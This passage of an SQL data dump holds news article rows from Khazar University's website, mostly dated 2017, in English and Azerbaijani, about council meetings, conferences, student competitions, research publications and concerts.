ceremony for Ph.D. degree holders. Altuntaj Mammadova, English\r\nTeacher of Dunya School, received her diploma (Ph.D. in Philology).&nbsp;</p>'),(3213,1892,'en','Meeting of Academic and Administrative Council','On February 16, 2017, a routine meeting of the Khazar University Academic and Administrative Council was held. The meeting was chaired by University President Hassan...','<p>On February 16, 2017, a\r\nroutine meeting of the Khazar University Academic and Administrative Council\r\nwas held. The meeting was chaired by University President Hassan Niknafs. </p>\r\n<p>Items on the agenda\r\nincluded details of the examination session, preparations for the next\r\nsemester, accreditation, awarding the title of Associate Professor to Dr. Irada\r\nKhalilova, Head of the Deaprtment of Biological Studies; and the title of Professor\r\nto Associate Professor Zulfiyya Sadigova, Head of the Department of Music.\r\nReports were given by Professor Mohammad Nuriyev, Vice President of Khazar\r\nUniversity for Academic Affairs.</p>\r\n<p>Other reports were given\r\nby Dr. Eldar Shahgaldiyev, Head of the Division for Graduate Students and\r\nResearch, on the topic of on the 2017 admission results, Ph.D. dissertation\r\ntopics and academic advisors; by Irada Khalilova on transferring Zuleykha\r\nAlakbarova from the speciality of Biotecnology (2422.01) to Biochemsitry\r\n(2406.02). </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Decisions were made on the above topics.</p>\r\n<p>Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, also spoke at\r\nthe meeting; he stressed the importance of publisihng in top journals and\r\nexpanding international ties. </p>\r\n<p>Other current issues were\r\nalso discussed at the meeting.&nbsp;</p>'),(3214,1893,'en','Thomson Reuters starts new project','On February 15, 2017, a ceremony to celebrate the start of a new project of Thomson Reuters was at held at Azerbaijan University of Architecture and Construction...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On\r\nFebruary 15, 2017, a ceremony to celebrate the start of a new project of\r\nThomson Reuters was at held at Azerbaijan University of Architecture and\r\nConstruction. The objective of the project is to help Azerbaijani scholars\r\nincrease the number of publications in high impact journals; by the end of the\r\nproject, scholars will be able to choose appropriate journals for their\r\narticles. A series of events will be organized at Azerbaijani universities\r\nwithin the framework of the project. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">The\r\nfirst meeting of the event was organized at Azerbaijan University of\r\nArchitecture and Construction. The event was opened by Aygun Babazade, staff\r\nmember of the Department of Science and Education of Thomson Reuters; she gave\r\ninformation about the organization and academic journals accredited\r\nby&nbsp;Thomson Reuters.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In\r\nthe second half of the ceremony, Khayala Mammadova, assistant editor of the <em>Khazar\r\nJournal of Humanities and Social Sciences</em>, spoke about the management\r\nprinciples, submission and publishing requirements of a scholarly journal and\r\nother practical issues. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">A\r\nquestions and answers session followed.&nbsp;</p>'),(3215,1894,'az','Xəzər Universitetində Dövlət Miqrasiya Xidmətinin 10 illiyinə həsr olunan elmi-praktik konfrans','Azərbaycan Respublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı ilə 2017-ci il fevralın 17-də universitetin Neftçilər kampusunun  Mərmər salonunda Dövlət...','<p>Azərbaycan\r\nRespublikası Dövlət Miqrasiya Xidməti və Xəzər Universitetinin təşkilatçılığı\r\nilə 2017-ci il fevralın 17-də universitetin Neftçilər kampusunun&nbsp; Mərmər salonunda Dövlət Miqrasiya Xidmətinin\r\n10 illiyi münasibətilə “Azərbaycanda miqrasiya siyasəti: nailiyyətlər və\r\ninkişaf perspektivləri” mövzusunda elmi-praktik konfrans işinə başladı.</p>\r\n<p>Tədbirdə Xəzər Universitetinin, Dövlət Miqrasiya\r\nXidmətinni (DMX), dövlət qurumlarının, ölkədə fəaliyyət göstərən beynəlxalq və\r\nqeyri-hökumət təşkilatlarının nümayəndələri, Milli Elmlər Akademiyasının, ali təhsil\r\nmüəssisələrinin elmi əməkdaşları və xarici ekspertlər iştirak edirdilər.</p>\r\n<p>Konfrans DMX-nin keçdiyi inkişaf yolunu əks etdirən\r\nqısametrajlı filmin nümayişi ilə başlandı. Sonra Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı konfransı\r\naçaraq, müzakirə olunan mövzunun mühümlüyünü və əhəmiyyətini nəzərə çatdırdı.\r\nO, həmçinin, iştirakçılara Xəzər Universiteti haqqında da qısa məlumat verdi.</p>\r\n<p>DMX rəisinin müavini Pərviz Musayev çıxışında xidmətin\r\nyaranma tarixi, fəaliyyət istiqamətləri, 10 il ərzində əldə edilən uğurlar və\r\nnailiyyətlər barədə konfrans iştirakçılarını ətraflı məlumatlandırdı.</p>\r\n<p>BMT-nin Qaçqınlar üzrə Ali\r\nKomissarlığının (QAK) Azərbaycandakı\r\nnümayəndəsi Furio de Angeles, Beynəlxalq Miqrasiya Təşkilatının (BMqT) Azərbaycandakı\r\nnümayəndəliyinin rəhbəri Serhan Aktoprak çıxış edərək, miqrasiya probleminin\r\nmühüm cəhətlərindən söz açdılar.</p>\r\n<p>Açılış mərasimindən sonra\r\nelmi-praktik konfransın plenar iclasında ölkə və&nbsp; xarici mütəxəssislərin məruzələri dinlənilməyə\r\nbaşlandı.</p>\r\n<p>Məruzələr ətrafında müzakirələrdən\r\nsonra elmi-praktik konfransın qətnaməsi qəbul ediləcək.<strong></strong></p>'),(3216,1894,'en','Conference celebrating 10 years of State Migration Service in Azerbaijan held at Khazar University','On February 17, 2017, Khazar University and the State Migration Service of the Republic of Azerbaijan jointly held a conference to celebrate 10 years of the State Migration...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On February 17,\r\n2017, Khazar University and the State Migration Service of the Republic of\r\nAzerbaijan jointly held a conference to celebrate 10 years of the State\r\nMigration Service in Azerbaijan in the “Marble Hall” on Khazar University’s\r\nNeftchilar Campus. The topic of the conference was “Migration Policy in\r\nAzerbaijan: Achievements and Development Perspectives”.</p>\r\n<p>The conference\r\nwas attended by officials and staff members of Khazar\r\nUniversity, the State Migration\r\nService, governmental and international agenices, NGOs as well as scholars and\r\nexperts of Azerbaijan National Academy of Sciences and other Azerbaiajni higher\r\neducational institutions.</p>\r\n<p>The conference\r\nwas opened with a short film highlighting achievements of the State Migration\r\nService in Azerbaijan.</p>\r\n<p>Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, made an opening speech in which he stressed the\r\nimportance of the conference topic. He also gave brief information about Khazar\r\nUniversity to the audience .</p>\r\n<p>Pariz Musayev,\r\nDeputy-Director of the State Migration Service of Azerbaiajn, spoke about the\r\nhistory of the agency, its activities and achievements in the past decade.</p>\r\n<p>Other speeches\r\nwere made by Furio de Angelis, Head of UNHCR Office in Baku and Serhan\r\nAktoprak, Director of the International Organization for Migration</p>\r\n<p>The opening\r\nceremony was followed by a panel.</p>\r\n<p>Following\r\ndiscussions, resolutions will be accepted at the end of the conference.&nbsp;</p>'),(3217,1895,'en','Meeting with “Spaghetti Bridge” Competition Winners','On February 16, 2017, a meeting with the winners of the “Spaghetti Bridge” Competition for Fall Semester 2016 was held at Khazar University. The first-place winners of the competition...','<p>On February 16, 2017, a meeting\r\nwith the winners of the “Spaghetti Bridge” Competition for Fall Semester 2016\r\nwas held at Khazar University. The first-place winners of the competition, the\r\nmembers of Khazar University’s “Koroglu” team, included Rovshan Allahverdiev,\r\nMurad Tapdigli,&nbsp;Sultan Ismayilov and Fadima Bayraqdarova.&nbsp;This team’s spaghetti bridge was able to hold 48.66 kg of weight\r\nbefore breaking. The weight of the bridge was 0.894&nbsp;kg.</p>\r\n<p>In a brief ceremony, Dr. Hassan\r\nNiknafs, the Acting Dean of the Engineering College, met with the team members\r\nand congratulated them for their achievement in designing such a quality bridge\r\nfor the competition.</p>'),(3218,1895,'az','“Spagetti körpü” müsabiqəsinin qalibləri mükafatlandırıldılar','Xəbər verildiyi kimi, 2016-cı il dekabrın 26-da Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin təşkilatçılığı ilə ənənəvi universitetlərarası “Spagetti körpü” müsabiqəsi...','<p>Xəbər verildiyi kimi, 2016-cı il dekabrın 26-da Xəzər Universiteti Mühəndislik\r\nvə tətbiqi elmlər fakültəsinin təşkilatçılığı ilə ənənəvi universitetlərarası\r\n“Spagetti körpü” müsabiqəsi&nbsp; keçirilmiş və\r\nXəzər Universitetinin&nbsp; “Koroğlu”\r\nkomandası birinci yeri tutmuşdu.</p>\r\n<p>Fevralın 16-da Mühəndislik və tətbiqi\r\nelmlər fakültəsinin dekanı Hassan Niknafs komanda üzvləri ilə görüşdü və\r\nyarışmada qalib gəldiklərinə görə onlara sertifikat və hədiyyə təqdim etdi.</p>\r\n<p>Qeyd edək ki, yarışmada\r\n&nbsp;Rövşən Allahverdiyev, Murad Tapdıqlı, Sultan İsmayılov və Fadima\r\nBayraqdarovadan ibarət “Koroğlu”&nbsp;komandasının\r\nhazırladığı spaghetti körpü qırılmamışdan öncə 48.66 kq ağırlığa tab gətirə bilmişdi.\r\nKörpünün öz agırlığı isə 0.894 kq idi.&nbsp;</p>'),(3219,1896,'en','Dr. Rasoul Moradi’s novel research work on 2D Nano-materials in Springer publication','Dr. Rasoul Moradi’s novel research on the fabrication of two-dimensional (2D) materials, which moves on the cutting edge of Engineering, is now online...','<p style=\"margin-bottom:7.5pt;line-height:normal;background:#fffffff;text-align:left\">Dr. Rasoul Moradi’s&nbsp;novel research on the\r\nfabrication of two-dimensional (2D) materials, which moves on the cutting edge\r\nof Engineering, is now online:<o:p></o:p></p><p><a href=\"http://link.springer.com/article/10.1007/s11106-017-9836-1\">http://link.springer.com/article/10.1007/s11106-017-9836-1</a></p>\r\n<p>The article entitled&nbsp;“Synthesis and Preparation\r\nof Mono-Layer h-BN Nanopowders by Using a Combination of CVD Method with Isopropanol-Assisted\r\nExfoliation Process”&nbsp;was published in the <em>Powder Metallurgy and Metal\r\nCeramics </em>journal<em>, </em>a well-known&nbsp;Springer publication. &nbsp;</p>\r\n<p>Dr. Moradi is&nbsp;the coordinator of the Department\r\nof Chemical Engineering at Khazar University. He joined Khazar University from\r\nTehran University in September 2016. Dr. Moradi’s research interest is in the\r\narea of designing membranes using Nano-Technology materials for various\r\napplications of the engineering fields. He will be heading a team of\r\nresearchers at Khazar University for establishing a laboratory in order to\r\nextend this research in other fields of engineering such as Petroleum\r\nEngineering, Mechanical Engineering, and Biotechnology.</p><p><img src=\"/files/social/foto/untitled%20folder/1.png\" style=\"width:700px;height:148px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/social/foto/untitled%20folder/2.png\" style=\"width:700px;height:65px;margin:7px;float:left\"><br></p>'),(3220,1897,'az','Təhsil Nazirliyinin Beynəlxalq əməkdaşlıq şöbəsinin nümayəndələri ilə görüş keçirilmişdir','Fevralın 16-da Xəzər  Universitetində Azərbaycan RespublikasınınTəhsil Nazirliyi Beynəlxalq əməkdaşlıq şöbəsinin nümayəndələri ilə görüş keçirilmişdir. Görüşdə nazirliyin...','<p>Fevralın 16-da Xəzər Universitetində Azərbaycan Respublikasının&nbsp;Təhsil Nazirliyi Beynəlxalq əməkdaşlıq şöbəsinin nümayəndələri ilə görüş keçirilmişdir. Görüşdə nazirliyin Beynəlxalq əməkdaşlıq şöbəsinin müdir müavini İlqarYusubov və böyük məsləhətçisi Müjdət Həsənov, universitetin rektoru Hassan Niknafs, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, Siyasi elm və beynəlxalq münasibətlər departamentinin müdiri Muxtar Hacızadə və Beynəlxalq Ofisin direktoru&nbsp;Turan Cəfərova iştirak etmişlər.</p><p>Görüş zamanı qonaqlara Xəzər Universitetinin beynəlxalq əməkdaşlığı barədə geniş məlumat verilmişdir. Xarici tələbələr üçün nostrifikasiya prosedurunun daha da asanlaşdırılması, universitet haqqında məlumatların ingilis dili ilə yanaşı digər xarici dillərdə də yayılması, xarici tələbələrin qəbulunun onlayn platforma üzərindən aparılması haqqında müzakirələr aparılmışdır. Bundan əlavə, universitetə qəbulun il ərzində bir dəfə deyil,müxtəlif vaxtlarda həyata keçirilməsi, doktorantura pilləsində təhsilalmağa gələn xarici tələbələrə iş icazəsinin verilməsi, Təhsil Nazirliyi tərəfindən xarici vətəndaşlara da təqaüd imkanlarının yaradılmasına dair təkliflər irəli sürülmüşdür.</p>'),(2998,1775,'az','Təsisçi ODTU-nun qonağı oldu','2016-cı il dekabrın 22-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Türkiyədə Orta Doğu...','<p>2016-cı il dekabrın 22-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Türkiyədə Orta Doğu Tekniki Universitetinin rektoru professor Mustafa Verşan Köklə görüşdü. H.İsaxanlı ODTU-nun rektoruna Xəzər Universiteti haqqında geniş məlumat verdi və universitetin hədiyyəsini ona təqdim etdi.</p><p>Görüş zamanı Xəzər Universiteti ilə ODTU arasında bundan sonra əlaqələrin daha da genişləndirilməsinin vacibliyi vurğulandı. M.V.Kök ziyarətə görə Hamlet İsaxanlıya dərin təşəkkürünü bildirdi və universitetin hədiyyələrini ona təqdim etdi.</p><p>Xatirə şəkilləri çəkildi.</p>'),(3176,1876,'en','Hamlet Isakhanli attends Annual Meeting','On February 9, 2017, Prof. Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, attended an annual meeting held by the city...','<p>On\r\nFebruary 9, 2017, Prof. Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, attended an annual meeting\r\nheld by the city council of Nizami District. Prof. Isaxanli made a speech in\r\nwhich he spoke about achievements and problems in education in Azerbaijan.&nbsp;</p>'),(3177,1874,'en','Hamlet Isaxanli: “The number of students in Azerbaijani higher educational institutions should increase, but universities…”','On February 8, 2017, an interview with Prof. Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was published on the official website of...','<p>On February 8, 2017, an interview with Prof. Hamlet Isaxanli,\r\nthe founder of Khazar University and Chairman of its Board of Directors and\r\nTrustees, was published on the official website of the “Şərq”. The interview\r\nincludes Prof. Isaxanli’s comments on the Ministry of Education’s new proposal\r\non the admission of students to&nbsp;higher educational\r\ninstitutions&nbsp;in&nbsp;Azerbaijan submitted to the government.<o:p></o:p></p><p>The full text of his interview can be found at the following\r\nlink:</p><p><a href=\"http://www.sherg.az/site/id-26169/%22Az%C9%99rbaycanda_t%C9%99l%C9%99b%C9%99l%C9%99rin_say%C4%B1_art%C4%B1r%C4%B1lmal%C4%B1d%C4%B1r,__amma_universitetl%C9%99r...%22_#Kalibri\">http://www.sherg.az/site/id-“Azərbaycanda_tələbələrin_sayı_artırılmalıdır,__amma_universitetlər...”</a></p>'),(3178,1877,'en','State Statistical Committee held meeting','On February 8, 2017, the State Statistical Committee of Azerbaijan held a meeting in which a group of international experts met with the members of the Statistical Board...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On February 8, 2017, the State Statistical\r\nCommittee of Azerbaijan held a meeting in which a group of international\r\nexperts met with the members of the Statistical Board. As a member of the\r\nboard, Prof. Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees,\r\nparticipated in discussions and answered the guests’ questions.&nbsp;</p>'),(3191,1872,'en','Career Center Coordinator at Baker Tilly Office','On February 7, 2017, Ulviyya Huseynova, coordinator of Khazar University Career Center, met with Gunel Abbasova from Baker Tilly’s marketing department to discuss possible...','<p>On February 7, 2017, Ulviyya Huseynova, coordinator\r\nof Khazar <span style=\"color:#1f497d\">U</span>niversity Career Center, met with\r\nGunel Abbasova from Baker Tilly’s marketing department to discuss possible\r\ncooperation between the two organizations. Khazar University will hold a\r\ntwo-day Career Fair in May 2017 for the university students and alumni as well\r\nas students of other higher educational institutions in Azerbaijan. <o:p></o:p></p><p>In concluding the meeting, the sides reached an\r\naccord on Baker Tilly’s sponsorship for the Career Fair.&nbsp;</p>'),(3192,1869,'en','Information from Khazar University News Team','Khazar University news team presents a comparative analysis of the news articles published on the university website (www.khazar.org) and on the official website...','<p>Khazar University news team presents a comparative\r\nanalysis of the news articles published on the university website (<a href=\"http://www.khazar.org\">www.khazar.org</a>)\r\nand on the official website (<a href=\"http://www.hisaxanli.org\">www.hisaxanli.org</a>)\r\nof Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board\r\nof Directors and Trustees. </p>\r\n<p><a href=\"http://www.khazar.org\">www.khazar.org</a>\r\n(2008-15): 2008 – 97;<em> </em>2009 – 149;<em> </em>2010 – 274;<em> </em>2011 –&nbsp;\r\n357;<em> </em>2012 – 476;<em> </em>2013 – 535;<em> </em>2014 – 610;<em> </em>2015 –\r\n700; 2016 – 547.</p>\r\n<p><a href=\"http://www.hisaxanli.org\">www.hisaxanli.org</a>\r\n(2009-16): 2009 – 81; 2010 – 125;<em> </em>2011 –&nbsp; 162;<em> </em>2012 – 144;<em>\r\n</em>2013 – 156;<em> </em>2014 – 159;<em> </em>2015 –&nbsp; 146; 2016 –&nbsp; 158.&nbsp;</p>'),(3540,2082,'az','Rumıniyanın Azərbaycandakı səfiri Siyasi elm və beynəlxalq münasibətlər departamentinin qonağı oldu','2017-ci il aprelin 18-də Rumıniyanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab Dan İanku Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər departamentində...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il\r\naprelin 18-də Rumıniyanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri cənab\r\nDan İanku Xəzər Universitetinin Siyasi elm və beynəlxalq münasibətlər\r\ndepartamentində qonaq oldu. Səfir İanku cari ilin mayında təşkil olunması nəzərdə\r\ntutulan Rumıniya-Azərbaycan Təhsil Forumu ilə bağlı məlumat verdi. Siyasi elm və\r\nbeynəlxalq münasibətlər departamentinin müdiri,&nbsp;Jan\r\nMonne Kürsüsü mükafatı laureatı,&nbsp;Siyasi elmlər üzrə&nbsp;fəlsəfə doktoru Muxtar Hacızadə Xəzər\r\nUniversitetinin dərəcə proqramları haqqında geniş&nbsp;məlumat verdi. O, həmçinin Rumıniya\r\nuniversitetlərinin tələbələrinin Xəzər Universiteti Təqaüd proqramı ilə bağlı məlumatlandırmasını\r\nda səfirdən xahiş etdi. Görüş iştirakçıları tərəfindən akademik mobillik&nbsp;və tələbə\r\nmübadiləsinin önəmi&nbsp; xüsusilə vurğulandı. Səfirliyin Diplomatik müşaviri\r\nMihaela İanku və departamentin koordinatoru Elmar Mustafayev də görüşdə iştirak\r\nedirdilər.</p>'),(3194,1883,'en','British Council Azerbaijan held Business Lunch','On February 13, 2017, British Council Azerbaijan held a business lunch event at the Nakhchivan restaurant. The event was attended by Professor Paul Boyle, president and vice...','<p>On\r\nFebruary 13, 2017, British Council Azerbaijan held a business\r\nlunch event at the Nakhchivan\r\nrestaurant. The event was attended by Professor Paul Boyle, president and vice\r\nchancellor of Leicester University;&nbsp; Michael Green, Director of Leicester\r\nUniversity Strategic Partnerships Center; Dr. Carole Crofts, the ambassador of\r\nGreat Britain to Azerbaijan; Elisabeth White, director of British Council\r\nAzerbaijan. Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, was among the guests of the\r\nevent. </p>\r\n<p>Azerbaijan-UK relations and co-operation between\r\nAzerbaijani higher educational institutions and UK universities were discussed\r\nat the event.&nbsp;</p>'),(3576,2097,'az','“Xəzər”də yubiley','2017-ci il aprelin 24-də Xəzər Universiteti Tarix və arxeologiya departamentinin müdiri, tarix elmləri üzrə fəlsəfə doktoru, universitet fəaliyyətə başlayandan burada çalışan Roza...','<p>2017-ci il aprelin 24-də Xəzər Universiteti Tarix və\r\narxeologiya departamentinin müdiri, tarix elmləri üzrə fəlsəfə doktoru,\r\nuniversitet fəaliyyətə başlayandan burada çalışan Roza Arazovanın 70 illiyi\r\nmünasibətilə&nbsp; yubiley tədbiri keçirildi. </p>\r\n<p>Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək,ötən illər ərzində\r\nRoza Arazovanın yüksək səviyyəli tarixçi kadrların hazırlanmasında, departamentin\r\ngənc müəllimlərinin əsl peşəkar kimi yetişməsində misilsiz xidmətlərindən,&nbsp; tələbələrə böyük diqqətlə yanaşı, həm də\r\nciddi tələbkarlıqla yanaşmasından,&nbsp; səriştəli\r\npedaqoq, səmimi, qayğıkeş bir insan kimi&nbsp;\r\nuniversitet kollektivinin dərin hərmətini qazanmasından danışdı,\r\nyubilyarı təbrik edərək, ona uzun ömür və fəaliyyətində uğurlar arzuladı.</p>\r\n<p>&nbsp;Xəzər\r\nUniversitetinin rektoru &nbsp;Hassan\r\nNiknafs,&nbsp; Akademik işlər üzrə prorektor Məhəmməd\r\nNuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, “Dünya” məktəbinin\r\ntəsisçisi Nailəxanım İsayeva, Humanitar və sosial elmlər fakültəsinin dekanı\r\nCabir Xəlilov, baş müəllim Firəngiz Nəsirova, İctimai əlaqələr və media üzrə\r\ndirektor Əlövsət Əmirbəyli də yubilyara öz təbriklərini və ürək sözlərini\r\nçatdırdılar..</p>\r\n<p>Tədbirin sonunda Roza Arazova yubiley tədbirinin təşkilinə\r\ngörə universitet rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p>'),(3325,1952,'az','\"Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu”nun beşinci buraxılışı','Kursu bitirənlərə “Peşəkar inkişaf sertifikatı”  təqdim olundu.2017-ci il martın 3-də Xəzər Universitetinin Mərmər zalında...','<p style=\"text-align:center\"><em>Kursu bitirənlərə\r\n“Peşəkar inkişaf sertifikatı” &nbsp;təqdim\r\nolundu &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </em></p>\r\n<p>2017-ci il martın 3-də Xəzər Universitetinin Mərmər\r\nzalında “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim\r\nkursu”nun başa çatmış beşinci buraxılışının iki qrupda təlim keçmiş 40 məzununa\r\nsertifikatların təqdim olunması mərasimi keçirildi.<strong></strong></p>\r\n<p>Xəzər Universitetində ardıcıl davam edən bu kursların əsas\r\nməqsədi ölkədəki yeni təhsil strategiyasına və təhsil islahatına uyğun olaraq məktəb\r\ndirektorlarının və gələcəkdə bu sahədə fəaliyyət göstərmək istəyən təhsil işçilərinin\r\nbilik və bacarıqlarını artırmaq, onları dünyadakı&nbsp; səmərəli idarəetmə təcrübəsi ilə tanış etməkdir.\r\n</p>\r\n<p>Üç aylıq kursun məşğələlərində iştirakçıların təqdimatları\r\nolur, müzakirələr aparılır. İştirkçılar kursun çox əhəmiyyətli olduğunu, əldə\r\netdikləri nəzəri və &nbsp;təcrübi bilikləri öz işlərində tətbiq etdiklərini\r\nbildirirlər. İndiyədək layihə çərçivəsində təlim keçmiş 364 təhsil işçisinin &nbsp;50 nəfərdən çoxu director və ya director\r\nmüavini vəzifələrinə təyin olunmuşlar.</p>\r\n<p>Mərasimin rəsmi hissəsindən əvvəl iştirakçılara\r\nuniversiteti Kamera orkestrinin konsert proqramı təqdim olunmuşdur.</p>\r\n<p>Mərasimi Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı &nbsp;açaraq, geniş çıxışında kursun əhəmiyyətindən\r\ndanışdı, məktəb rəhbərləri qarşısında duran vəzifələrdən bəhs etdi. </p>\r\n<p>Sonra sertifikatların təqdim olunması mərasimi\r\nbaşlandı. Sertifikatları professor Hamlet İsaxanlı, prorektor İsaxan İsaxanlı,\r\nTəhsil fakültəsinin decani Elza Səmədova, İnkişaf mərkəzinin direktoru Raziyə\r\nİsayeva, Humanitar və social elmlər fakültəsinin dekan müavini Mələk Kərimova,\r\nuniversitetin müəllimləri Akif Əlizadə və Vüsal Məmmədrzayev &nbsp;təqdim etdilər. Kurs haqqında slayd-şoular\r\nnümayiş etdirildi.</p>\r\n<p>Kursu bitirənlər adından&nbsp; Laçın Rüstəmova və Lətafət Bayramova çıxış edərək,\r\nuniversitet rəhbərliyinə, layihə rəhbərləri Raziyə İsayevay və Elza Səmədovaya,\r\nlayihənin digər təşkilatçılarına minnətdarlıqlarını bildirdilər. Kursun məzunu\r\nTəranə Məhəmmədovanın anası, Bakının Sabunçu rayonundakı 155 nömrəli tam orta məktəbin\r\nsabiq direktoru, şair Zöhrə Məhəmmədova çıxış edərək, belə kursun təşkilinə görə\r\nuniversitet rəhbərliyinə təşəkkürünü bildirdi, kursun məzunlarına tövsiyələrini\r\nsöylədi.</p>\r\n<p>Mərasim xatirə şəkillərinin çəkilməsi ilə başa çatdı.</p>'),(3300,1939,'en','Employability and Soft Skills Training Program at Khazar University','On February 27, 2017, the Department of Political Science and International Relations of Khazar University launched the Employability and Soft Skills Training Program...','<p>On\r\nFebruary 27, 2017, the Department of Political Science and International\r\nRelations of Khazar University&nbsp;launched the Employability and Soft Skills\r\nTraining Program. This special program is designed to equip students with CV\r\nwriting, job interview preparation as well as presentation, communication and\r\ninterpersonal skills. The training is also intended to help students develop\r\ntheir hard skills including PowerPoint presentation, Excel basics, effective\r\ne-mail communication and cover letter writing. </p>\r\n<p>The\r\nprogram started with a workshop by the experts of the human resource management\r\nunit of Deloitte Azerbaijan. The ten-week program will also be conducted by\r\nexperts from GR8 Club, Fireworks Human Resource Management as well as the\r\nCareer Development Centre of Khazar University.</p>'),(3316,1946,'en','Concert in Khazar University Cultural Center','On March 1, 2017, the Khazar Chamber Orchestra, led by Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, gave a concert in the Cultural Center of the Khazar...','<p>On March 1, 2017, the Khazar Chamber Orchestra, led by\r\nZulfiyya Sadigova, Head of the Department of Music and Fine Arts, gave a\r\nconcert&nbsp;in the Cultural Center of the Khazar University. Instrumental\r\npieces and songs by Azerbaijani composers were performed at the concert\r\nattended by the university administration and staff members. The concert\r\nincluded performances by Mehseti Jabbarova, instructor of Khazar University and\r\nsoloist for the&nbsp;Magomayev Azerbaijan State Philharmonic Hall; Ilham\r\nNazarov, soloist for the&nbsp;Akhundov Azerbaijan\r\nState&nbsp;Academic&nbsp;Opera and Ballet Theater.</p>\r\n<p>A recent composition by Dunya school instructor and composer\r\nSevda Rahimova based on Hamlet Isaxanli’s poem “One of us” was performed by\r\nIlham Nazarov and Gulshan Ibadova for the first time at the concert.</p>\r\n<p>As March 1 marked Prof. Isaxanli’s birthday, the\r\nceremony also included congratulatory speeches.</p>'),(3297,1935,'en','Khazar University student won European Championship','On February 17-24, 2017, a European Sanshou Tournament was held in Lutsk, Poland. Firudin Hasanov, third-year student of Khazar University’s School of Humanities and Social...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On February 17-24, 2017, a European\r\nSanshou Tournament was held in Lutsk, Poland. Firudin Hasanov,\r\nthird-year student of Khazar University’s School of Humanities and Social\r\nSciences majoring in translation studies, took first place and earned a gold\r\nmedal in the event (85 kg).</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">We note that Firudin Hasanov is a\r\nwinner of several international championships. He has been the Azerbaijani\r\nchampion of his category 6 times and has won a gold medal in the 2013 European\r\nChampionship in Bulgaria and in the 2015 tournament in Baku; and a silver medal\r\nin the 2016 adult world kickboxing championship\r\nin Kharkov.</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Athletes from 17 countries\r\nparticipated in the Lutsk tournament. In addition to Firudin, nine athletes\r\nfrom Azerbaijan participated in the event. They have won a total of 9 medals in\r\ntheir weight classes, 6 gold and 3 silver.&nbsp;</p>'),(3315,1947,'en','5th Annual IB Conference to be held in Dunya School','On April 29, 2017, the 5th Annual IB Conference “Learning Together, Stronger Together”...','<p>On\r\nApril 29, 2017, the 5th Annual IB Conference “Learning Together, Stronger\r\nTogether” will be held in Khazar University’s affiliate Dunya School.</p>\r\n<p>The\r\nmain objective of the conference is to discuss different aspects, key\r\nprinciples and strategies of the teaching-learning process. </p>\r\n<p>Brad\r\nPhilpot, Director of Philpot Education, a licensed provider of professional\r\ndevelopment workshops for teachers of the International Baccalaureate Diploma\r\nProgramme (IBDP), is the International Keynote speaker of the conference. Brad\r\nPhilpot is the author of two books - <em>English B and English Language</em> and <em>Literature\r\nfor the IBDP</em>. His talk will focus on the importance and challenges of\r\ninternational education.</p>\r\n<p>A\r\nworkshop on essay writing will be organized on April 30, 2017 as part of the\r\nconference. The workshop will be conducted by Brad Philpot.</p>'),(3601,2112,'az','ESFIDIP Tempus layihəsi çərçivəsində Makedoniya Universitetində görüş keçirildi','2017-ci il aprelin23-dən 27-dək Xəzər Universitetinin “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFIDIP) adlı...','<p 